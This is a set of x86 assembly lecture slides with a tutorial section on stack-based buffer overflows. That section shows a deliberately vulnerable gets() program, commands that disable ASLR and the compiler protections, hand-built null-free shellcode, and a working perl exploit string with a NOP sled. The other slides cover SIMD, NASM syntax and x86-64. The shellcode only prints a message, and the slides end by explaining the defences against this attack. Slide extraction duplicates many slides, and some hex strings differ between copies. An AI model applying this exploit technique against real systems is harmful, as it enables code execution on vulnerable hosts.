- Single Instruction Multiple Data (SIMD) instruction sets like MMX, SSE, SSE2, SSE3, SSE4, ...
  - Single instruction carries out an operation (add, subtract, etc.) on multiple data blocks, a vector
  - MMX was a SIMD instruction set for integers
  - SSE is SIMD instruction set for integers and floating point
  - SSE1 had 32-bit single precision floating point support
  - SSE2 added 64-bit double precision floating point support
  - SSE registers are %xmm0 - %xmm7, each 128-bit
  - SSE instructions can treat each register as multiple floats, doubles, chars, shorts, etc.
Scalar versus SIMD

Advanced Topic 15: Stack-based Buffer Overflows
#include <stdio.h>

void get_input(void) {
    char buff[100];
    gets(buff);
}

int main(void) {
    printf("input: ");
    get_input();
    return 0;
}
**Advanced Topic 15: Stack-based Buffer Overflows**

**Classic Insecure Example in C (example-insecure.c)**

```c
#include <stdio.h>

void get_input(void) {
    char buff[100];
    gets(buff);
}

int main(void) {
    printf("input: ");
    get_input();
    return 0;
}
```

$ gcc -fno-stack-protector -z execstack example-insecure.c
   -o example-insecure

We’ll build this with the GCC stack protector disabled and executable stack (for reasons explained in a few slides)
Disassembly of `get_input()`

```c
void get_input(void) {
    char buff[100];
    gets(buff);
}
```

```
$ objdump -d example-insecure
...
```
```
08048414 <get_input>:

  8048414: 55 push %ebp
  8048415: 89 e5 mov %esp,%ebp

# Space allocated on the stack for buff[100]
  8048417: 81 ec 88 00 00 00 sub $0x88,%esp

# Address of buff in %eax
  804841d: 8d 45 94 lea -0x6c(%ebp),%eax

# Pushing &buff onto the stack
  8048420: 89 04 24 mov %eax,(%esp)

# gets(buff);
  8048423: e8 f8 fe ff ff call 8048320 <gets@plt>

# Function epilogue
  8048428: c9 leave
  8048429: c3 ret
...
```

$x86 Assembly Primer for C Programmers$
Stack Frame of `get_input()`

```x86 Assembly
# Function prologue
push %ebp
mov %esp,%ebp
# Space allocated on the stack for buff[100]
sub $0x88,%esp
# Address of buff in %eax
lea -0x6c(%ebp),%eax
# Pushing &buff onto the stack
mov %eax,(%esp)
# gets(buff);
call 8048320 <gets@plt>
# Function epilogue
leave
ret

# Stack frame right before call to gets()
# | ... |
# | retaddr |
# | saved ebp |
# | buf |
# | buf |
# | . |
# | buf |
# | buf |
# | &buf | <- %esp
```
Buffer Overflow

- With a well-crafted buffer, we can inject instructions into the buffer on the stack, as well as an over-written return address to those instructions.
- When `get_input()` returns, it will return into our injected instructions.

```
                .
                .
                .
                .
                .
0x??????????
0x??????????
        retaddr
            old ebp
                .
                .
                .
buf
buf
&buf
                .
                .
                .
                .
                .
                .
                .
get_input()  gets()
                .
                .
                .
                .
                .
                .
                .
0x??????????
0x??????????
            0xbffff300
            'AAAAAAAAA'
                .
                .
shellcode
shellcode
&buf
                .
                .
                .
                .
                .
                .
                .
```
But how do we pick the return address? What is the address of stuff on the stack anyway?

```c
#include <stdio.h>

int main(void) {
  char c;
  printf("%p\n", &c);
  return 0;
}
```

$ gcc example-addrstack.c -o example-addrstack$

$ ./example-addrstack$

0xbfe3d16f

$ ./example-addrstack$

0xbfdef6ff

$ ./example-addrstack$

0xbfebecf
Overwriting the Return Address

- But how do we pick the return address? What is the address of stuff on the stack anyway?
- Let’s write a small program to find out...

```c
#include <stdio.h>
int main(void) {
    char c;
    printf("%p\n", &c);
    return 0;
}
```

```
$ gcc example-addrstack.c -o example-addrstack
$ ./example-addrstack
0xbfe3d16f
$ .\example-addrstack
0xbfdef6ff
$ .\example-addrstack
0xbfebfecf
```
Overwriting the Return Address

- But how do we pick the return address? What is the address of stuff on the stack anyway?
- Let’s write a small program to find out...

```c
#include <stdio.h>
int main(void) {
    char c;
    printf("%p\n", &c);
    return 0;
}
```

$ gcc example-addrstack.c -o example-addrstack
$ ./example-addrstack
0xbfe3d16f
$ ./example-addrstack
0xbfdef6ff
$ ./example-addrstack
0xbfdefbecf

- It’s changing every time we run it!
Address Space Layout Randomization (ASLR)

- We just witnessed the effect of ASLR, which randomly initializes the position of code, libraries, heap, and stack in the user program’s address space.
- However, the addresses were all relatively close to each other, so there is an opportunity for guessing... (16-bits of guessing on 32-bit)
We just witnessed the effect of ASLR, which randomly initializes the position of code, libraries, heap, and stack in the user program’s address space.

However, the addresses were all relatively close to each other, so there is an opportunity for guessing... (16-bits of guessing on 32-bit)

For our purposes, let’s turn off ASLR.

```
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
$ ./example-addrstack
0xbffff28f
$ ./example-addrstack
0xbffff28f
$ ./example-addrstack
0xbffff28f
```

Now we have an idea of where variables on the stack live.
Shellcode

- Next step is to write our instructions to inject
- Often called shellcode, because it often spawns a privileged shell
Shellcode

- Next step is to write our instructions to inject
- Often called shellcode, because it often spawns a privileged shell
- Must be position-independent
  - Code cannot rely on absolute addresses for its data, since we’re not sure exactly where it will live on the stack, just roughly
Shellcode

- Next step is to write our instructions to inject
- Often called shellcode, because it often spawns a privileged shell

- Must be position-independent
  - Code cannot rely on absolute addresses for its data, since we’re not sure exactly where it will live on the stack, just roughly
- Must contain no newlines, and in other cases, no null bytes
  - Otherwise gets() will stop reading input prematurely
Advanced Topic 15: Stack-based Buffer Overflows

Shellcode

- Next step is to write our instructions to inject
- Often called shellcode, because it often spawns a privileged shell

- Must be position-independent
  - Code cannot rely on absolute addresses for its data, since we’re not sure exactly where it will live on the stack, just roughly

- Must contain no newlines, and in other cases, no null bytes
  - Otherwise gets() will stop reading input prematurely

- Let's make it do `write(1, "Hello!", 6);` and `exit(0);`
Advanced Topic 15: Stack-based Buffer Overflows

Hello Shellcode Take 1 (example-shellcode1.S)

```assembly
_start:
    # Clever way to get string address into %ecx
    jmp get_str_addr
get_str_addr:
    popl %ecx

    # write(1, "Hello!", 6);
    movl $0x04, %eax
    movl $0x01, %ebx
    movl $6, %edx
    int $0x80
    # exit(0);
    movl $0x01, %eax
    # %ebx already zero from above
    int $0x80

get_str_addr:
    call got_str_addr
    .ascii "Hello!"
```

$ as example-shellcode1.S -o example-shellcode1.o
$ ld example-shellcode1.o -o example-shellcode1
$ ./example-shellcode1
Hello!$
Hello Shellcode Take 1 (example-shellcode1.S) Disassembly

```
$ objdump -D example-shellcode1

Disassembly of section .text:

08048054 <_start>:
  8048054: eb 19 jmp 804806f <get_str_addr>

08048056 <got_str_addr>:
  8048056: 59 pop %ecx
  8048057: b8 04 00 00 00 mov $0x4,%eax
  804805c: bb 01 00 00 00 mov $0x1,%ebx
  8048061: ba 06 00 00 00 mov $0x6,%edx
  8048066: cd 80 int $0x80
  8048068: b8 01 00 00 00 mov $0x1,%eax
  804806d: cd 80 int $0x80

0804806f <get_str_addr>:
  804806f: e8 e2 ff ff ff call 8048056 <got_str_addr>
  8048074: 48 dec %eax
  8048075: 65 gs
  8048076: 6c insb (%dx),%es:(%edi)
  8048077: 6c insb (%dx),%es:(%edi)
  8048078: 6f outsl %ds:(%esi),(%dx)
  8048079: 21 .byte 0x21

We want to get rid of those null bytes...
```
Hello Shellcode Take 2 (example-shellcode2.S)

_start:
  # Clever way to get string address into %ecx
  jmp get_str_addr
get_str_addr:
  popl %ecx

  # write(1, "Hello!", 6);
  xorl %eax, %eax
  xorl %ebx, %ebx
  xorl %edx, %edx
  incl %ebx
  addb $4, %al
  addb $6, %dl
  int $0x80
  # exit(0);
  xorl %eax, %eax
  incl %eax
  # %ebx already zero from above
  int $0x80

get_str_addr:
  call got_str_addr
  .ascii "Hello!"

$ as example-shellcode2.S -o example-shellcode2.o && ld ...
$ ./example-shellcode2
Hello!$
$ objdump -D example-shellcode2
Disassembly of section .text:
08048054 <_start>:
  8048054:  eb 14    jmp  804806a <get_str_addr>
08048056 <got_str_addr>:
  8048056:  59  pop %ecx
  8048057:  31 c0  xor %eax,%eax
  8048059:  31 db  xor %ebx,%ebx
  804805b:  31 d2  xor %edx,%edx
  804805d:  43  inc %ebx
  804805e:  04 04  add $0x4,%al
  8048060:  80 c2 06 add $0x6,%dl
  8048063:  cd 80  int $0x80
  8048065:  31 c0  xor %eax,%eax
  8048067:  40  inc %eax
  8048068:  cd 80  int $0x80
0804806a <get_str_addr>:
  804806a:  e8 e7 ff ff ff  call  8048056 <got_str_addr>
  804806f:  48  dec %eax
0848070:  65  gs
  8048071:  6c  insb (%dx),%es:(%edi)
  8048072:  6c  insb (%dx),%es:(%edi)
  8048073:  6f  outsl %ds:(%esi),(%dx)
  8048074:  21  .byte 0x21

■ No null bytes or newlines!
Preparing our Payload

- Reading off the `objdump` disassembly, we can write out the instructions as an ASCII string with escape characters

```
"\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43\x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x48\x65\x6c\x6c\x6f\x21"
```
Preparing our Payload

- Reading off the `objdump` disassembly, we can write out the instructions as an ASCII string with escape characters:
  ```
  \xeb\x14\x59\x31\xcb\x43\x04\x04\x80\xc2\x06\xcd
  \x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x48\x65\x6c\x6c\x6f\x21
  ```

- So the plan is to pass a string to the insecure example with the shellcode, enough A’s to overflow the buff, and a new return address.
Preparing our Payload

- Reading off the `objdump` disassembly, we can write out the instructions as an ASCII string with escape characters:

```
"\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43\x04\x04\x80\xc2\x06\xcd
\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x48\x65\x6c\x6c\x6f\x21"
```

- So the plan is to pass a string to the insecure example with the shellcode, enough A’s to overflow the buff, and a new return address.

- But if the return address isn’t exactly right, it won’t work!
Preparing our Payload

- Reading off the objdump disassembly, we can write out the instructions as an ASCII string with escape characters
  "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43\x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x48\x65\x6c\x6c\x6f\x21"

- So the plan is to pass a string to the insecure example with the shellcode, enough A’s to overflow the buff, and a new return address

- But if the return address isn’t exactly right, it won’t work!

- We can make it more robust by adding a **nop-sled**: a bunch of nops preceding our shellcode

- Even if our guessed return address is off by a couple of bytes, as long as the CPU returns to somewhere within the nop-sled, execution will slide down to our real injected instructions

- Machine code for a **nop** is 0x90
The Actual Exploit...

First, find out how many A’s it takes to break it...

$ perl -e 'print "A" x 107' | ./example-insecure
input:
$ perl -e 'print "A" x 108' | ./example-insecure
input:
Segmentation fault
$
Advanced Topic 15: Stack-based Buffer Overflows

The Actual Exploit...

- First, find out how many A’s it takes to break it...

```bash
$ perl -e 'print "A" x 107' | ./example-insecure
input:
$ perl -e 'print "A" x 108' | ./example-insecure
input:
Segmentation fault
$
```

- Then, use gdb to find out the number of A’s to start overwriting the return address...

```bash
$ gdb example-insecure
...
<input 113 A’s>
Program received signal SIGSEGV, Segmentation fault.
0x08040041 in ?? ()
```

- Lower byte of return address, now %eip, was overwritten by an ’A’, or 0x41.
The Actual Exploit... (example-insecure_exploit.sh) Continued

Prepare smallnop-sled, shellcode, A’s, and return address that is
116 characters long.

```
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43
\x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff
\x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x80\xf2\xff\xbf"' | wc
   0   1  116
```
Prepare small nop-sled, shellcode, A’s, and return address that is 116 characters long.

```
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43
 \x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff
 \x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x80\xf2\xff\xbf"' | wc
```

0 1 116

Guess at the return address, starting at 0xbffff280:

```
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43
 \x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff
 \x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x80\xf2\xff\xbf"' | ./example-insecure
```

input:
Segmentation fault

```
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43
 \x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff
 \x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x80\xf2\xff\xbf"' | ./example-insecure
```

input:
Illegal instruction

```
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43
 \x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff
 \x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x80\xf2\xff\xbf"' | ./example-insecure
```

input:
Hello!
Advanced Topic 15: Stack-based Buffer Overflows

The Actual Exploit... (example-insecure_exploit.sh) Continued

Prepare small nop-sled, shellcode, A’s, and return address that is 116 characters long.

```bash
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xd2\x43 \x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff \x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x80\xf2\xff\xff\xff\xff\xff\xff\xff" | wc
0 1 116
```

Guess at the return address, starting at 0xbffff280:

```bash
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xd2\x43 \x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff \x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x80\xf2\xff\xff\xff\xff\xff\xff\xff" | ./example-insecure
input:
Segmentation fault
```

```bash
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xd2\x43 \x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff \x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x70\xf2\xff\xff\xff\xff\xff\xff\xff" | ./example-insecure
input:
Illegal instruction
```

x86 Assembly Primer for C Programmers

January 22/24, 2013 159 / 172
Prepare small nop-sled, shellcode, A’s, and return address that is 116 characters long.

```bash
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43 \\x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff \\x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x80\xf2\xff\xbf"' | wc
 0 1 116
```

Guess at the return address, starting at 0xbffff280:

```bash
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43 \\x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff \\x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x80\xf2\xff\xbf"' | ./example-insecure
input: Segmentation fault
```

```bash
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43 \\x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff \\x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x70\xf2\xff\xbf"' | ./example-insecure
input: Illegal instruction
```

```bash
$ perl -e 'print "\x90" x 20 . "\xeb\x14\x59\x31\xc0\x31\xdb\x31\xd2\x43 \\x04\x04\x80\xc2\x06\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff \\x48\x65\x6c\x6c\x6f\x21" . "A" x 59 . "\x60\xf2\xff\xbf"' | ./example-insecure
input: Hello!$
```
Closing Notes

- If vulnerable program was running as root, shellcode can spawn a root shell
- If vulnerable program was suid root, shellcode can setuid(0) and then spawn a root shell
If vulnerable program was running as root, shellcode can spawn a root shell

If vulnerable program was suid root, shellcode can `setuid(0)` and then spawn a root shell

We had to disable three security mechanisms to allow the traditional stack-based buffer overflow to work.

- GCC Stack Protector
  (disabled with `-fno-stack-protector` gcc option)
- Non-Executable Stack
  (disabled with `-z execstack` gcc option)
- Address Space Layout Randomization
  (disabled by writing 0 to `/proc/sys/kernel/randomize_va_space`)
Security Mechanisms to Prevent Stack-based Buffer Overflows

- GCC Stack Protector
  - GCC generates code to install a random guard value on the stack, below the saved frame pointer, and checks for its validity before the function returns.
  - If the guard value is corrupted by a buffer overflow, the pre-return check will catch it.

- Non-Executable Stack
  - NX page table entry bit introduced in x86-64 processors. Linux kernel uses them to mark the stack non-executable, so shellcode cannot execute from the stack.

- Address Space Layout Randomization
  - User program address space is randomized to make it difficult to guess shared library function locations or stack variable locations.
  - Increases difficulty of finding a suitable return address.
Security Mechanisms to Prevent Stack-based Buffer Overflows

■ GCC Stack Protector
  ■ GCC generates code to install a random guard value on the stack, below the saved frame pointer, and checks for its validity before the function returns
  ■ If the guard value is corrupted by a buffer overflow, the pre-return check will catch it

■ Non-Executable Stack
  ■ NX page table entry bit introduced in x86-64 processors. Linux kernel uses them to mark the stack non-executable, so shellcode cannot execute from the stack
Security Mechanisms to Prevent Stack-based Buffer Overflows

- GCC Stack Protector
  - GCC generates code to install a random guard value on the stack, below the saved frame pointer, and checks for its validity before the function returns
  - If the guard value is corrupted by a buffer overflow, the pre-return check will catch it

- Non-Executable Stack
  - NX page table entry bit introduced in x86-64 processors. Linux kernel uses them to mark the stack non-executable, so shellcode cannot execute from the stack

- Address Space Layout Randomization
  - User program address space is randomized to make it difficult to guess shared library function locations or stack variable locations
  - Increases difficulty of finding a suitable return address
Extra Topic 1: Intel/nasm Syntax
Extra Topic 1: Intel/nasm Syntax

Differences

- Intel Syntax: `<mnemonic> <dest>, <src>`
- Directives are not preceded by a dot .
- Less prefixes/suffixes floating around, so source looks cleaner

```
mov [ebp-4], dword 42
```

AT&T / GAS:
```
movl %eax, -12(%ebp, %ecx, 4)
```

Intel / NASM:
```
mov [ebp+ecx*4-12], eax
```
Extra Topic 1: Intel/nasm Syntax

Differences

- Intel Syntax: `<mnemonic> <dest>, <src>`
- Directives are not preceded by a dot .
- Less prefixes/suffixes floating around, so source looks cleaner
- Memory addresses are just plain symbol names
- Memory dereferenced with brackets `[ ... ]`

Instruction size usually implied by registers used, but is made explicit when necessary with `byte, word, dword` keywords.

Example:

- Movl %eax, -12(%ebp, %ecx, 4) (AT&T / GAS)
- Mov [ebp+ecx*4-12], eax (Intel / NASM)
Differences

- Intel Syntax: `<mnemonic> <dest>, <src>`
- Directives are not preceded by a dot .
- Less prefixes/suffixes floating around, so source looks cleaner
- Memory addresses are just plain symbol names
- Memory dereferenced with brackets `[ ... ]`
- Instruction size usually implied by registers used, but is made explicit when necessary with byte, word, dword keywords
  - `mov [ebp-4], dword 42`
Extra Topic 1: Intel/nasm Syntax

Differences

- **Intel Syntax**: `<mnemonic> <dest>, <src>`
- Directives are not preceded by a dot .
- Less prefixes/suffixes floating around, so source looks cleaner
- Memory addresses are just plain symbol names
- Memory dereferenced with brackets `[ . . . ]`
- Instruction size usually implied by registers used, but is made explicit when necessary with byte, word, dword keywords
  - `mov [ebp-4], dword 42`

- Indirect memory accesses spelled out as expressions
  - **AT&T / GAS**: `movl %eax, -12(%ebp, %ecx, 4)`
  - **Intel / NASM**: `mov [ebp+ecx*4-12], eax`
Side-by-side Hello World Syscall Example (example-hello-nasm.asm)

```assembly
.section .text
.global _start
_start:
    # open("foo", ...);
    movl $0x05, %eax
    movl $filename, %ebx
    movl $0x41, %ecx
    movl $0644, %edx
    int $0x80

    # fd in %eax -> %ebx
    movl %eax, %ebx

    # write(fd, ...);
    movl $0x04, %eax
    # fd in %ebx from above
    movl $message, %ecx
    movl $messageLen, %edx
    int $0x80

    # close(fd);
    movl $0x06, %eax
    # fd still in %ebx
    int $0x80
```

```assembly
section .text
global _start
_start:
    ; open("foo", ...);
    mov eax, 5
    mov ebx, filename
    mov ecx, 0x41
    mov edx, 0q644
    int 0x80

    ; fd in eax -> ebx
    mov ebx, eax

    ; write(fd, ...);
    mov eax, 4
    ; fd in ebx from above
    mov ecx, message
    mov edx, messageLen
    int 0x80

    ; close(fd);
    mov eax, 6
    ; fd still in ebx
    int 0x80
```
Extra Topic 1: Intel/nasm Syntax

Side-by-side Hello World Syscall Example (example-hello-nasm.asm)
Continued

```assembly
# exit(0);  
movl $0x01, %eax  
movl $0x0, %ebx  
int $0x80

.section .data
filename: .ascii "foo\0"
message: .ascii "Hello World!\n".equ messageLen, . - message

; exit(0);
mov eax, 1
mov ebx, 0
int 0x80

section .data
filename: db 'foo',0
message: db 'Hello World!',10
messageLen: equ $ - message
```

Runtime:

$ nasm -f elf example-hello-nasm.asm -o example-hello-nasm.o
$ ld example-hello-nasm.o -o example-hello-nasm
$ ./example-hello-nasm
$ cat foo
Hello World!
$
Extra Topic 2: x86-64 Assembly
Extra Topic 2: x86-64 Assembly

Immediate Differences

- %eax extended to 64-bit %rax, along with %rax, %rbx, %rcx, %rdx, %rbp, %rsp, %rsi, %rdi
- Supplemental general purpose registers %r8, %r9, %r10, %r11, %r12, %r13, %r14, %r15

- Good architectural changes
  - Segmentation and hardware task switching wiped away
  - No-Execute bit in page table entries to enforce non-executable sections

- A lot of q’s instead of l’s: movq, pushq, addq
- Stack pushes and pops are all typically 8-byte / 64-bit values
Extra Topic 2: x86-64 Assembly

Different Calling Convention

- System V ABI
  - http://www.x86-64.org/documentation/abi.pdf
  - Function Call Convention (Linux)
    - Arguments passed in registers: %rdi, %rsi, %rdx, %rcx, %r8, %r9
    - Extra arguments pushed onto the stack
    - Function must preserve %rbp, %rbx, %r12 - %r15
    - Function can use rest of registers
    - Return value in %rax

- System Call Convention (Linux)
  - Syscall number in %rax
  - Arguments passed in registers: %rdi, %rsi, %rdx, %r10, %r8, %r9
  - Use syscall instruction
  - %rcx and %r11 destroyed
  - Return value in %rax
Resources and Next Steps
Essential Links

- x86-32 + x86-64 instruction set:
  http://ref.x86asm.net/

- Official x86-32 + x86-64 architecture info:

- Unofficial x86-32 + x86-64 architecture info:
  http://sandpile.org/

- Linux System Call Reference:
  http://syscalls.kernelgrok.com/

- Assembly Optimization Tips:
  http://www.mark.masmcode.com/

- Interesting “assembly gems”:
  http://www.df.lth.se/~john_e/fr_gems.html
Resources and Next Steps

Going From Here

- Play with the examples
  - Modify Morse Encoder example to handle words (morse.S)
  - Add find and remove to Linked List example (linked_list.S)
  - Modify Fibonacci to print with syscalls instead of printf(), (fibonacci.S)
  - Write a recursive Fibonacci Sequence generator
  - Modify exploit shellcode to print a newline (example-shellcode2.S)
- Write your own syscall, e.g. rot13
- Do Stack Smashing challenges:
  - http://community.corest.com/~gera/InsecureProgramming/
- Rewrite a traditional *nix program in Assembly
  - e.g. telnet:
    - https://github.com/vsergeev/x86asm/blob/master/telnet.asm
  - e.g. asmscan:
    - https://github.com/edma2/asmscan
- Write assembly for microcontrollers like Atmel AVR, Microchip PIC, and ARM Cortex M series
Lingering Questions?